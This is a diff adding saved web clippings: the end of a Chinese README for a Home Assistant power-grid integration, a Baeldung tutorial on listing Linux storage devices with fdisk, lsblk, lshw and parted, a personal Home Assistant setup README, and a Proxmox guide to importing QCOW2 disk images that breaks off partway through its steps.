本项目代码中的[`csg_client/__init__.py`](https://github.com/CubicPill/china_southern_power_grid_stat/blob/master/custom_components/china_southern_power_grid_stat/csg_client/__init__.py) 是对南网在线 App API 的实现,可以独立于此项目单独使用。 详细使用方法见`csg_client_demo.py`
## Thank you
[](https://github.com/CubicPill/china_southern_power_grid_stat#thank-you)
- [lyylyylyylyy](https://github.com/lyylyylyylyy): PR [#30](https://github.com/CubicPill/china_southern_power_grid_stat/pull/30) 短信验证码登录支持
感谢[瀚思彼岸](https://bbs.hassbian.com/)论坛以下帖子作者的辛苦付出,排名不分先后
- [不折腾,超简单接入电费数据](https://bbs.hassbian.com/thread-18474-1-1.html)
- [北京电费查询加强版](https://bbs.hassbian.com/thread-13820-1-1.html)
- [电费插件(Node-Red流)-广东南方电网](https://bbs.hassbian.com/thread-17830-1-1.html)
- [【抄作业】电费插件(NR流)-南网](https://bbs.hassbian.com/thread-18122-1-1.html)
自定义集成教程参考:[Building a Home Assistant Custom Component Part 1: Project Structure and Basics](https://aarongodfrey.dev/home%20automation/building_a_home_assistant_custom_component_part_1/)
@@ -0,0 +1,180 @@
---
page-title: "Find All Storage Devices Attached to a Linux Machine | Baeldung on Linux"
url: https://www.baeldung.com/linux/find-all-storage-devices
date: "2024-12-31 17:03:02"
---
## 1\. Introduction[](https://www.baeldung.com/linux/find-all-storage-devices#introduction)
We often have to check the storage devices present on a machine. This is very useful when we have to check if all the hard disks and SSDs are recognized on the system and if any external storage devices are being handled correctly by the system. Linux offers multiple ways to list the storage devices attached to the system. In this tutorial, we shall look at them one by one.
## 2\. Reading */proc/partitions*[](https://www.baeldung.com/linux/find-all-storage-devices#reading-procpartitions)
Every Linux distribution comes with a */proc* directory which contains different files that give different kinds of information about the current state of the system. However, this is a virtual file system. This means that these files dont actually exist on the disk, but these file paths can be read by any application or command as if they were real files. */proc/partitions* is the file that contains details about the attached storage devices. So **running the [*cat*](https://man7.org/linux/man-pages/man1/cat.1.html) command on the */proc/partitions* will give us the required information**:
```
$ cat /proc/partitions
major minor #blocks name
8 0 117220824 sda
8 1 524288 sda1
8 2 1 sda2
8 5 116694016 sda5
8 16 976762584 sdb
8 17 1024 sdb1
8 18 976758784 sdb2
```
This method however shows output only in blocks, with the labels of each partition.
## 3\. *fdisk*[](https://www.baeldung.com/linux/find-all-storage-devices#fdisk)
[*fdisk*](https://man7.org/linux/man-pages/man8/fdisk.8.html) is the Linux command used to perform operations on disks and partitions in Linux. We can **use *fdisk -l* to list all storage devices and their partitions.** This command may not work unless it is run as a root user or with [*sudo*](https://linux.die.net/man/8/sudo):
```
# fdisk -l
Disk /dev/sda: 111.81 GiB, 120034123776 bytes, 234441648 sectors
Disk model: SATA SSD
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x229714a0
Device Boot Start End Sectors Size Id Type
/dev/sda1 * 2048 1050623 1048576 512M b W95 FAT32
/dev/sda2 1052670 234440703 233388034 111.3G 5 Extended
/dev/sda5 1052672 234440703 233388032 111.3G 83 Linux
Disk /dev/sdb: 931.53 GiB, 1000204886016 bytes, 1953525168 sectors
Disk model: ST1000LM024 HN-M
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 4096 bytes
I/O size (minimum/optimal): 4096 bytes / 4096 bytes
Disklabel type: gpt
Disk identifier: 62FC8895-DF66-4DF6-9DAB-B193B64AA56B
Device Start End Sectors Size Type
/dev/sdb1 2048 4095 2048 1M Linux filesystem
/dev/sdb2 4096 1953521663 1953517568 931.5G Linux filesystem
```
As we see above, the output is very detailed and neatly formatted. It describes all the storage devices attached to the system along with their total size, model, label, partitions and other useful data.
## 4\. *lsblk*[](https://www.baeldung.com/linux/find-all-storage-devices#lsblk)
The [*lsblk*](https://man7.org/linux/man-pages/man8/lsblk.8.html) command stands for “list blocks” and **can be used to list all the block storage devices attached to the system:**
```
$ lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
sda 8:0 0 111.8G 0 disk
├─sda1 8:1 0 512M 0 part /boot/efi
├─sda2 8:2 0 1K 0 part
└─sda5 8:5 0 111.3G 0 part /
sdb 8:16 0 931.5G 0 disk
├─sdb1 8:17 0 1M 0 part
└─sdb2 8:18 0 931.5G 0 part
```
As we see above, the hierarchy of partitions is clearly printed, and we can see which disks are attached and which partitions are present under them. However, only the device labels are printed and not the device names.
## 5\. *lshw*[](https://www.baeldung.com/linux/find-all-storage-devices#lshw)
The [*lshw*](https://linux.die.net/man/1/lshw) command can also be used to list the storage devices attached to the system. It stands for “list hardware” and by default lists all the hardware devices connected to the system. However, we can **use the *class* argument to filter the list and display only the disk devices**. As with *fdisk*, we may need to be root or use *sudo* to use this command:
```
# lshw -class disk
*-disk
description: ATA Disk
product: SATA SSD
physical id: 0.0.0
bus info: scsi@0:0.0.0
logical name: /dev/sda
version: Sf10
serial: 00000000000000000552
size: 111GiB (120GB)
capabilities: partitioned partitioned:dos
configuration: ansiversion=5 logicalsectorsize=512 sectorsize=512 signature=229714a0
*-disk
description: ATA Disk
product: ST1000LM024 HN-M
physical id: 0.0.0
bus info: scsi@1:0.0.0
logical name: /dev/sdb
version: 0003
serial: S314J90F791172
size: 931GiB (1TB)
capabilities: gpt-1.00 partitioned partitioned:gpt
configuration: ansiversion=5 guid=62fc8895-df66-4df6-9dab-b193b64aa56b logicalsectorsize=512 sectorsize=4096
```
## 6\. *parted*[](https://www.baeldung.com/linux/find-all-storage-devices#parted)
The utility of the [*parted*](https://man7.org/linux/man-pages/man8/parted.8.html) command is very similar to that of the *fdisk* command. It can be used to manage disks and their partitions. We can **use the *\-l* argument to display the storage devices**:
```
# parted -l
Model: ATA SATA SSD (scsi)
Disk /dev/sda: 120GB
Sector size (logical/physical): 512B/512B
Partition Table: msdos
Disk Flags:
Number Start End Size Type File system Flags
1 1049kB 538MB 537MB primary fat32 boot
2 539MB 120GB 119GB extended
5 539MB 120GB 119GB logical ext4
Model: ATA ST1000LM024 HN-M (scsi)
Disk /dev/sdb: 1000GB
Sector size (logical/physical): 512B/4096B
Partition Table: gpt
Disk Flags:
Number Start End Size File system Name Flags
1 1049kB 2097kB 1049kB
2 2097kB 1000GB 1000GB ext4
```
Very similar to *fdisk*, we can see all the storage devices attached, along with their names, labels, mount points, filesystem type, and partitions.
## 7\. *sfdisk*[](https://www.baeldung.com/linux/find-all-storage-devices#sfdisk)
**[*sfdisk*](https://man7.org/linux/man-pages/man8/sfdisk.8.html) is an advanced version of the *fdisk* command**. Its output is very similar to the *parted* command, showing disk labels, disk model partitions, and filesystem type on each partition:
```
# sfdisk -l
Disk /dev/sda: 111.81 GiB, 120034123776 bytes, 234441648 sectors
Disk model: SATA SSD
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x229714a0
Device Boot Start End Sectors Size Id Type
/dev/sda1 * 2048 1050623 1048576 512M b W95 FAT32
/dev/sda2 1052670 234440703 233388034 111.3G 5 Extended
/dev/sda5 1052672 234440703 233388032 111.3G 83 Linux
Disk /dev/sdb: 931.53 GiB, 1000204886016 bytes, 1953525168 sectors
Disk model: ST1000LM024 HN-M
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 4096 bytes
I/O size (minimum/optimal): 4096 bytes / 4096 bytes
Disklabel type: gpt
Disk identifier: 62FC8895-DF66-4DF6-9DAB-B193B64AA56B
Device Start End Sectors Size Type
/dev/sdb1 2048 4095 2048 1M Linux filesystem
/dev/sdb2 4096 1953521663 1953517568 931.5G Linux filesystem
```
## 8\. Conclusion[](https://www.baeldung.com/linux/find-all-storage-devices#conclusion)
In this article, we discussed six ways to list the storage devices attached to a Linux system, out of which *fdisk*, *sfdisk,* and *parted* give a very similar detailed output. The outputs from *cat /proc/partitions* and *lsblk* are very concise, and we could use them for further processing, such as in a bash script. The *lshw* command prints low-level information about storage devices such as serial and bus info that could be useful in debugging problems.
@@ -0,0 +1,204 @@
---
page-title: "GitHub - DubhAd/Home-AssistantConfig: My Home Assistant configuration files"
url: https://github.com/DubhAd/Home-AssistantConfig/#the-devices-services-and-software-i-use-with-ha
date: "2024-12-10 10:56:55"
---
## Table of Contents
[](https://github.com/DubhAd/Home-AssistantConfig/#table-of-contents)
## Home Assistant configuration
[](https://github.com/DubhAd/Home-AssistantConfig/#home-assistant-configuration)
This is my live(-ish) [Home Assistant](https://home-assistant.io/) Core configuration, This instance is running 2024.11.2 on a mini-PC (AMD Ryzen 5 5560U), with more RAM than I'm ever going to use.
I used to use a Python 3.11.4 virtual environment built [with pyenv](https://github.com/pyenv/pyenv), [following this guide](https://home-assistant.io/docs/installation/raspberry-pi/). These days I run entirely in Docker, as does everything else I run. The switch followed [this process](https://blog.ceard.tech/2020/10/ha-venv-to-docker) and went largely seamlessly - the only exception being the Google Cast devices which lost their `cast_` prefix.
Each directory has a short readme explaining what's in there, and the purpose of each file or group of files.
## The key software
[](https://github.com/DubhAd/Home-AssistantConfig/#the-key-software)
- [Home Assistant](https://home-assistant.io/) (2024.11.2)
- [traefik](https://traefik.io/) (3.2.1) with [ZeroSSL](https://zerossl.com/) for remote access (replaced NGINX)
- [Zigbee2MQTT](https://www.zigbee2mqtt.io/) (1.42.0) for Zigbee
- [Mosquitto](https://mosquitto.org/) for the MQTT broker
## Floorplan
[](https://github.com/DubhAd/Home-AssistantConfig/#floorplan)
I use [Floorplan](https://github.com/ExperienceLovelace/ha-floorplan) for a high level overview
- [![Screenshot of floorplan](https://camo.githubusercontent.com/fe5a5b3cc30238f6a5a7a0640526f1ab152df6544d60e1882bdf280cf0460f20/68747470733a2f2f692e696d6775722e636f6d2f677a7774666e6f2e706e67)](https://camo.githubusercontent.com/fe5a5b3cc30238f6a5a7a0640526f1ab152df6544d60e1882bdf280cf0460f20/68747470733a2f2f692e696d6775722e636f6d2f677a7774666e6f2e706e67)
- Showing:
- The grey bin is due for collection tomorrow. If any were due today they'd have a red outline.
- The family room and home office are occupied
- The office window is open (red with yellow outline), all others are closed (green).
- All outside doors are closed (green), as are many interior doors (brown). Open interior doors are green.
- Motion has been detected in the office (yellow with a red outline), but nowhere else.
- The family room TV is on (blue).
- The car isn't in the garage (faded), but the freezer lid is closed (blue).
- All the mobiles are home, and I'm working from home.
- The temperature and humidity in all rooms are good (green).
- Oh, and the printer's consumables are unknown (blue).
- The floorplan was created in [Inkscape](https://inkscape.org/), by importing the image of the house's floorplan from the purchase paperwork, then drawing over it. If you look [at it](https://github.com/DubhAd/Home-AssistantConfig/blob/live/www/custom_ui/floorplan/floorplan.svg) you'll see that I built it up in layers, one for the foundation (ground), one for the structure, and one for the sensors. I don't really use those currently, other than to ensure that the right things are on top (sensors).
## Devices
[](https://github.com/DubhAd/Home-AssistantConfig/#devices)
You can find a list of my [current and previous hardware here](https://github.com/DubhAd/Home-AssistantConfig/blob/live/hardware.md).
## Zigbee
[](https://github.com/DubhAd/Home-AssistantConfig/#zigbee)
For Zigbee I use [Zigbee2MQTT](https://www.zigbee2mqtt.io/) (version 1.42.0) running on another system. I use this instead of ZHA because my experience with Z-Wave taught me the value of separation.
I used to use the original zwave integration on a remote system, using [Remote Home-Assistant](https://github.com/custom-components/remote_homeassistant). I've since stopped using Z-Wave, as [explained here](https://github.com/DubhAd/Home-AssistantConfig/blob/live/ZWAVE.md).
## Lighting
[](https://github.com/DubhAd/Home-AssistantConfig/#lighting)
- Zigbee bulbs and strips in various rooms.
- [WLED](https://home-assistant.io/integrations/wled/) integration and led strips, replacing some Yeelight strips. These provide good enough lighting to read by at night, and also to help wake us in the morning.
## Media
[](https://github.com/DubhAd/Home-AssistantConfig/#media)
- [Symfonisk](https://www.ikea.com/gb/en/search/products/?q=symfonisk) and [Sonos](https://www.sonos.com/) speakers and [integration](https://home-assistant.io/integrations/sonos/)
- [Squeezebox Radio](http://support.logitech.com/en_us/product/squeezebox-radio-black) as a smart alarm clock, and [associated integration](https://home-assistant.io/integrations/squeezebox/)
- [Cast](https://home-assistant.io/integrations/cast) devices - a bunch of [Google Home Minis](https://store.google.com/product/google_home_mini), a couple of [Google Home Hubs](https://store.google.com/product/google_home_hub),
## Notifications:
[](https://github.com/DubhAd/Home-AssistantConfig/#notifications)
- [Telegram](https://telegram.org/) for some of my notifications
- [Apprise](https://www.home-assistant.io/integrations/apprise) for most notifications, sending them to Telegram, Discord, Signal, Google Chat, LaMetric, or many other places
- [Ulanzi TC001](https://blog.ceard.tech/2024/02/ulanzi-tc001), running [Awtrix Light](https://github.com/Blueforcer/awtrix-light), for non-interrupting [notifications](https://github.com/10der/homeassistant-custom_components-awtrix)
- LaMetric for non-interrupting [notifications](https://home-assistant.io/integrations/lametric/) "in person", and it's a clock the rest of the time
- [TTS](https://home-assistant.io/integrations/tts/) with the Google Home Mini's, Sonos, and Squeezeboxes, aided by [Sonos Cloud](https://github.com/jjlawren/sonos_cloud) to avoid interrupting music
## Presence detection:
[](https://github.com/DubhAd/Home-AssistantConfig/#presence-detection)
- Back to using [Nmap](https://nmap.org/) for [device tracking](https://home-assistant.io/integrations/nmap_tracker/). While I did switch to [Fritz!Box](https://en.avm.de/) [device tracking](https://www.home-assistant.io/integrations/fritz/) when I upgraded my router, the router ran out of memory
- [Monitor](https://github.com/andrewjfreyer/monitor) on another Pi3, and an Orange Pi Zero LTS with a CSR 4.0 USB dongle. This has completely replaced the use of the built in Bluetooth device tracker, and more than halved the startup time of HA.
- This works with our mobile phones, tablets, and beacons
- The [HA Companion app](https://companion.home-assistant.io/) for remote tracking. I used to use [GPS Logger](https://home-assistant.io/integrations/gpslogger/), but the additional sensors in the official app are a winner
- I used to use [OwnTracks](http://owntracks.org/) for device tracking, using the [HTTP interface](https://home-assistant.io/integrations/owntracks_http/), but not only did it have an [annoying bug](https://github.com/owntracks/android/issues/508) that caused it to randomly disable reporting, but it had been abandoned by the developer. Version 2.0 of the app solved both of those, but I've seen no reason to go back.
You'll note I use three different device trackers, two for home (nmap, bluetooth) and one for away (HA App). I explain more about [this here](https://blog.ceard.tech/2020/04/presence-detection-one-last-time.html) (you can see the journey I took to get there, [starting here](https://blog.ceard.tech/2018/01/home-assistant-and-basic-presence.html), with an update [here](https://blog.ceard.tech/2018/09/a-while-back-i-covered-how-i-was-doing.html), and [another update](https://blog.ceard.tech/2018/10/presence-detection-update-3.html), and then [a fourth update](https://blog.ceard.tech/2019/03/presence-detection-are-we-nearly-there.html)). Short version - I don't merge the trackers (that's going away anyway), but I do use groups again. I've experimented with the [Bayesian](https://www.home-assistant.io/integrations/bayesian) sensor, but compared to what I can do with the automations, it's not flexible enough for me.
## Core integrations and APIs
[](https://github.com/DubhAd/Home-AssistantConfig/#core-integrations-and-apis)
- [TransportAPI](https://developer.transportapi.com/) for information on the local train service with the [UK transport](https://home-assistant.io/integrations/uk_transport/) integration
- [Plex](https://www.plex.tv/sign-in/) for watching media, on TV, tablets and mobiles. I don't currently use [the component](https://home-assistant.io/components/media_player.plex/) even if it's configured
- [Here Travel Time](https://www.home-assistant.io/integrations/here_travel_time/) integration, replacing my previous use of the [Google Travel Time integration](https://home-assistant.io/integrations/google_travel_time/) (which uses the Google [Distance Matrix](https://developers.google.com/maps/documentation/distance-matrix/)) to provide estimated time to home
## Other things
[](https://github.com/DubhAd/Home-AssistantConfig/#other-things)
- [Getmail](http://pyropus.ca/software/getmail/) with [a script](https://github.com/DubhAd/Home-AssistantConfig/blob/live/local/bin/parse-email) that acts as the message delivery agent, to parse the recycling collection emails
- I gave up on the the [IMAP email content](https://home-assistant.io/integrations/imap_email_content/) sensor since it doesn't keep state through restarts (which isn't unique to it, Home Assistant doesn't have a persistence mechanism other than for the `input_*` entities)
- A HiWatch IPC-T140 dome camera, using the generic camera integration. I use [Frigate](https://frigate.video/) for motion and object detection, supported by a Coral stick. This runs on a different computer to the one that runs Home Assistant.
## Custom integrations
[](https://github.com/DubhAd/Home-AssistantConfig/#custom-integrations)
Historically I didn't make much use of custom components/integrations, however that's changed. Here are the ones I use, and why:
- [HACS](https://hacs.xyz/) for intalling, updating, and finding new custom integrations. All other custom integrations are installed using this.
- [Adaptive lighting](https://github.com/basnijholt/adaptive-lighting) (replacing [Circadian lighting](https://github.com/claytonjn/hass-circadian_lighting/)) since the built in [flux integration](https://www.home-assistant.io/integrations/flux) isn't as good.
- [Alarmo](https://github.com/nielsfaber/alarmo) as an alternative to the built in manual alarm
- [Awtrix notifier](https://github.com/10der/homeassistant-custom_components-awtrix) for making sending notifications easy
- [Frigate](https://github.com/blakeblackshear/frigate-hass-integration) for integrating with Frigate
- [Here Weather](https://github.com/eifinger/hass-here-weather) as yet another weather integration, it has the advantage that it includes a (brief) text summary of the forecast
- [SkyQ](https://github.com/RogerSelwyn/Home_Assistant_SkyQ_MediaPlayer) to aid in presence detection
- [Sleep as Android](https://github.com/IATkachenko/HA-SleepAsAndroid) to turn on the lights when it's time to wake up
- [Sonos Cloud](https://github.com/jjlawren/sonos_cloud) to allow TTS (and media playing) without interrupting the music
- [The Watchman](https://github.com/dummylabs/thewatchman) for making sure I've caught all the missing entities
- [WebRTC](https://github.com/AlexxIT/WebRTC) to make viewing cameras less laggy
### Standard integrations
[](https://github.com/DubhAd/Home-AssistantConfig/#standard-integrations)
I moved these all [out here](https://github.com/DubhAd/Home-AssistantConfig/blob/live/integrations.md) because it's a long list, and not *that* interesting, also not that current.
## Other software and services
[](https://github.com/DubhAd/Home-AssistantConfig/#other-software-and-services)
- [AdGuard Home](https://github.com/AdguardTeam/AdGuardHome/) for blocking those pesky adverts
- [Authentik](https://goauthentik.io/) for authentication when remotely accessing services
- [Cloudflare Pages](https://pages.cloudflare.com/) to [host my blog](https://blog.ceard.tech/)
- [Container Mon](https://github.com/RafhaanShah/Container-Mon) so I know when a container is unhealthy
- [Dozzle](https://dozzle.dev/) for each access to container logs
- [Diun](https://github.com/crazy-max/diun/) to get notifications when an update is available for a container
- [Frigate](https://frigate.video/) for motion detection
- [Heimdall](https://heimdall.site/) for a dashboard of all my apps
- [Jekyll](https://jekyllrb.com/) for writing my [blog](https://blog.ceard.tech/)
- [netdata](https://my-netdata.io/) so I can keep an eye on the performance
- [Paperless NGX](https://github.com/paperless-ngx/paperless-ngx) for turning paper into searcheable digital documents
- [Photoprism](https://photoprism.app/) both to back up photos from the mobile phones, as well as make it easier to find photos
- [rpi-clone](https://github.com/billw2/rpi-clone) for bootable backups of the Pis
- [rclone](https://rclone.org/) for offsite backups
- [rsnapshot](https://rsnapshot.org/) runs on another system, and pulls backups
- [traefik](https://traefik.io/) with [ZeroSSL](https://zerossl.com/) for remote access (will shortly replace nginx)
- I did previously use [nginx](https://nginx.org/en/) to provide remote access, in conjunction with [Let's Encrypt](https://letsencrypt.org/)
- [Uptime Kuma](https://github.com/louislam/uptime-kuma) for some simple service status monitoring
- [Wireguard](https://www.wireguard.com/) for remote access to my network
## Notes
[](https://github.com/DubhAd/Home-AssistantConfig/#notes)
- These are (automatically) modified versions of my actual configurations
- The goals with Home Assistant have been:
1. Minimise human actions, and where that isn't possible streamline those human actions
2. Provide voice control where the automations don't get it right (but try to fix that)
3. Have a minimal UI to provide manual control (this is currently the Google Home app)
## (Far) Future plans
[](https://github.com/DubhAd/Home-AssistantConfig/#far-future-plans)
A large amount of this will require a rewire of the lighting circuits, so that all the light switches have a neutral wire.
## Automation thoughts
[](https://github.com/DubhAd/Home-AssistantConfig/#automation-thoughts)
- Turn on extractor fans when the humidity is more than 5 points above the adjacent room, turning off once they drop to within 5 points
- During darkness, if a bathroom door is opened, turn the bathroom light on at a low level, turning up to medium when the door closes, turning it off when the person leaves
- Turn on the outside front light when the front door opens, the doorbell rings, or somebody is less than 5 minutes away, and coming home
- Other than bedrooms, when the room is in darkness and there's movement turn on the light at a very low level
- During daytime, if the lights are on for *too long* turn them off
- Seasonal use of the digital LED strip
- Flash the relevant section of the LED strip red if the garage door is opening or closing
## Useful links
[](https://github.com/DubhAd/Home-AssistantConfig/#useful-links)
- [Home Assistant documentation](https://home-assistant.io/docs/) and [integration list](https://home-assistant.io/integrations/)
- Problems with Z-Wave delays and inconsistencies? Try [this script](https://hastebin.com/igujenogud.coffeescript) in the dev-states section and you'll see if you've problem devices - shown by an RTT value of 1,000 or more, and retries significantly more than other devices
- [My blog](https://ceard.tech/) on home automation and other things
## Coffee
[](https://github.com/DubhAd/Home-AssistantConfig/#coffee)
If I've helped you, and you really want to, you can [buy me a coffee](https://buymeacoff.ee/9MWvkxr8P), but don't feel obliged - I'm not doing this for free coffee ;)
@@ -0,0 +1,210 @@
---
page-title: "How To Import QCOW2 Image Into Proxmox - OSTechNix"
url: https://ostechnix.com/import-qcow2-into-proxmox/
date: "2024-12-08 16:34:31"
---
> qcow
---
In this guide, we will see how to **import QCOW2 into Proxmox** **VE** hypervisor and how to **create a virtual machine using the QCOW2 image** in **[Proxmox](https://ostechnix.com/install-proxmox-ve/)**.
- [Introduction](https://ostechnix.com/import-qcow2-into-proxmox/#Introduction "Introduction")
- [Step 1: Create a Directory to Store QCOW2 Images](https://ostechnix.com/import-qcow2-into-proxmox/#Step_1_Create_a_Directory_to_Store_QCOW2_Images "Step 1: Create a Directory to Store QCOW2 Images")
- [Step 2: Copy the QCOW2 Images to Proxmox Storage Directory](https://ostechnix.com/import-qcow2-into-proxmox/#Step_2_Copy_the_QCOW2_Images_to_Proxmox_Storage_Directory "Step 2: Copy the QCOW2 Images to Proxmox Storage Directory")
- [Step 3: Create a VM Without OS](https://ostechnix.com/import-qcow2-into-proxmox/#Step_3_Create_a_VM_Without_OS "Step 3: Create a VM Without OS")
- [Step 4: Import QCOW2 Image into Proxmox Server](https://ostechnix.com/import-qcow2-into-proxmox/#Step_4_Import_QCOW2_Image_into_Proxmox_Server "Step 4: Import QCOW2 Image into Proxmox Server")
- [Step 5: Attach QCOW2 Virtual Disk to VM](https://ostechnix.com/import-qcow2-into-proxmox/#Step_5_Attach_QCOW2_Virtual_Disk_to_VM "Step 5: Attach QCOW2 Virtual Disk to VM")
- [Step 6: Change the Boot Order](https://ostechnix.com/import-qcow2-into-proxmox/#Step_6_Change_the_Boot_Order "Step 6: Change the Boot Order")
- [Conclusion](https://ostechnix.com/import-qcow2-into-proxmox/#Conclusion "Conclusion")
## Introduction
Some OSes, and firewalls or network appliances are shipped only in QCOW2 format.
For those wondering, QCOW, stands for **Q**EMU **c**opy-**o**n-**w**rite, is the default storage format for virtual disks of **[QEMU/KVM](https://ostechnix.com/category/virtualization/kvm/)** instances.
Using the QCOW2 images, we can instantly create and run new virtual machines with hypervisor. We already have documented the steps to import QCOW2 images into KVM hypervisor in the following link:
> **[How To Create A KVM Virtual Machine Using Qcow2 Image In Linux](https://ostechnix.com/create-a-kvm-virtual-machine-using-qcow2-image-in-linux/)**
## Step 1: Create a Directory to Store QCOW2 Images
First, we need to create a directory to store the QCOW2 images. I am going to create a directory called **"`qcow`"** under the Proxmox default storage directory.
$ sudo mkdir /var/lib/vz/template/qcow
Please note that you can save the images on any location of your choice.
## Step 2: Copy the QCOW2 Images to Proxmox Storage Directory
Download and copy the QCOW2 image to the directory that you created earlier. For the purpose of this guide, I will be using FreeBSD 12.3 QCOW2 image file.
$ sudo cp Software/FreeBSD\\ 12\\ Qcow2/FreeBSD-12.3-RELEASE-amd64.qcow2 /var/lib/vz/template/qcow/
You can verify if the image is really copied or not.
$ ls -l -h /var/lib/vz/template/qcow/
**Sample Output:**
total 3.2G
-rw-r--r-- 1 root root 3.2G Jun 13 16:17 FreeBSD-12.3-RELEASE-amd64.qcow2
[![Copy QCOW2 Image To Proxmox Storage](https://ostechnix.com/wp-content/uploads/2022/06/Copy-QCOW2-Image-To-Proxmox-Storage.png "Copy QCOW2 Image To Proxmox Storage")](https://ostechnix.com/wp-content/uploads/2022/06/Copy-QCOW2-Image-To-Proxmox-Storage.png)
Copy QCOW2 Image To Proxmox Storage
## Step 3: Create a VM Without OS
Log in to the Proxmox Web UI dashboard by navigating to **https://ip-address:8006** URL.
Right click on your Proxmox node and click "Create VM" option from the context menu.
[![Create New VM In Proxmox](https://ostechnix.com/wp-content/uploads/2022/06/Create-New-VM-In-Proxmox.png "Create New VM In Proxmox")](https://ostechnix.com/wp-content/uploads/2022/06/Create-New-VM-In-Proxmox.png)
Create New VM In Proxmox
Enter the name of the VM. Also make a note of the VM ID (i.e. **107** in my case). The ID will be auto-created based on the existing number of available VMs. We are going to need the VM ID when we attach the QCOW2 image to the VM. Click OK to continue.
[![Enter VM Details](https://ostechnix.com/wp-content/uploads/2022/06/Enter-VM-Details.png.webp "Enter VM Details")](https://ostechnix.com/wp-content/uploads/2022/06/Enter-VM-Details.png)
Enter VM Details
Next choose **"Do not use any media"** option. Because we already have a pre-installed OS in the QCOW2 image, right? Yes! Also choose the guest type and version. There is no entry for Unix guest OS in Proxmox, so I simply selected "Other". If you use import a Linux Qcow2 image, choose guest type as "Linux" and Kernel as "6.x-2.6 Kernel".
[![Choose 'Do Not Use Any Media' Option](https://ostechnix.com/wp-content/uploads/2022/06/Choose-Do-Not-Use-Any-Media-Option-1.png.webp "Choose 'Do Not Use Any Media' Option")](https://ostechnix.com/wp-content/uploads/2022/06/Choose-Do-Not-Use-Any-Media-Option-1.png)
Choose 'Do Not Use Any Media' Option
Choose the graphics card, firmware and SCSI controller settings for your VM. usually, the default values are sufficient. I will go with default values.
[![Enter System Details For VM](https://ostechnix.com/wp-content/uploads/2022/06/Enter-System-Details-For-VM.png "Enter System Details For VM")](https://ostechnix.com/wp-content/uploads/2022/06/Enter-System-Details-For-VM.png)
Enter System Details For VM
Enter the size for the virtual machine's disk. Here, I will keep the default size i.e. 32 GB. Also make sure you've chosen the disk format as **"QEMU image format"** as shown in the following screenshot.
[![Enter Disk Size For VM](https://ostechnix.com/wp-content/uploads/2022/06/Enter-Disk-Size-For-VM.png "Enter Disk Size For VM")](https://ostechnix.com/wp-content/uploads/2022/06/Enter-Disk-Size-For-VM.png)
Enter Disk Size For VM
Enter the CPU details such as number of sockets and cores.
[![Enter CPU Details](https://ostechnix.com/wp-content/uploads/2022/06/Enter-CPU-Details.png.webp "Enter CPU Details")](https://ostechnix.com/wp-content/uploads/2022/06/Enter-CPU-Details.png)
Enter CPU Details
Enter the RAM size for your VM. here, I have given 2 GB.
[![Enter Memory Details](https://ostechnix.com/wp-content/uploads/2022/06/Enter-Memory-Details.png.webp "Enter Memory Details")](https://ostechnix.com/wp-content/uploads/2022/06/Enter-Memory-Details.png)
Enter Memory Details
Enter network details. Mostly the default settings will work just fine. If you wish to change the network settings (E.g. enable or disable firewall), do it as you wish.
[![Enter Network Details](https://ostechnix.com/wp-content/uploads/2022/06/Enter-Network-Details.png "Enter Network Details")](https://ostechnix.com/wp-content/uploads/2022/06/Enter-Network-Details.png)
Enter Network Details
You will see the summary of the VM's settings. Review them and if you're OK with it, click Finish to create the VM. Or click "Back" button and change the settings as you wish.
[![Confirm VM Creation](https://ostechnix.com/wp-content/uploads/2022/06/Confirm-VM-Creation.png "Confirm VM Creation")](https://ostechnix.com/wp-content/uploads/2022/06/Confirm-VM-Creation.png)
Confirm VM Creation
We just created a VM without OS. It is time to attach the QCOW2 image to the VM.
## Step 4: Import QCOW2 Image into Proxmox Server
Before importing the QCOW2 into your Proxmox server, make sure you've the following details in hand.
1. Virtual machine's ID,
2. Proxmox storage name,
3. Location of the Proxmox QCOW2 image file.
If you don't have them or don't know where to find them, just open your Proxmox web UI dashboard. On the left pane, you will see the virtual machine's IDs and the storage name.
[![Virtual Machine IDs And Storage Name In Proxmox](https://ostechnix.com/wp-content/uploads/2022/06/Virtual-Machine-IDs-And-Storage-Name-In-Proxmox.png "Virtual Machine IDs And Storage Name In Proxmox")](https://ostechnix.com/wp-content/uploads/2022/06/Virtual-Machine-IDs-And-Storage-Name-In-Proxmox.png)
Virtual Machine IDs And Storage Name In Proxmox
Here, my FreeBSD 12 VM id is **"107"** and Proxmox storage name is **"local"**. And the directory path where I saved the QCOW2 image is **`/var/lib/vz/template/qcow/`** (Please refer Step 2.).
Change into the `/var/lib/vz/template/qcow/` directory:
$ cd /var/lib/vz/template/qcow/
Now, import the QCOW2 image into the Proxmox server using command:
$ sudo qm importdisk 107 FreeBSD-12.3-RELEASE-amd64.qcow2 local
Replace the VM id (107) and storage name (local) with your own.
**Sample Output:**
importing disk 'FreeBSD-12.3-RELEASE-amd64.qcow2' to VM 107 ...
Formatting '/var/lib/vz/images/107/vm-107-disk-1.raw', fmt=raw size=5369626624 preallocation=off
transferred 0.0 B of 5.0 GiB (0.00%)
transferred 52.7 MiB of 5.0 GiB (1.03%)
\[...\]
transferred 5.0 GiB of 5.0 GiB (100.00%)
transferred 5.0 GiB of 5.0 GiB (100.00%)
**Successfully imported disk** as 'unused0:local:107/vm-107-disk-1.raw'
[![Import QCOW2 Into Proxmox](https://ostechnix.com/wp-content/uploads/2022/06/Import-QCOW2-Into-Proxmox.png "Import QCOW2 Into Proxmox")](https://ostechnix.com/wp-content/uploads/2022/06/Import-QCOW2-Into-Proxmox.png)
Import QCOW2 Into Proxmox
We imported the virtual disk to Proxmox. Now go back to the Proxmox web UI dashboard and attach the virtual disk to the VM.
## Step 5: Attach QCOW2 Virtual Disk to VM
Click on the Virtual machine that you created in step 3. In my case, it is FreeBSD 12 VM. Select **"Hardware"** tab. On the right hand side, you will the newly imported QCOW2 disk as **unused disk**. Select the unused disk and then click **"Edit"** button.
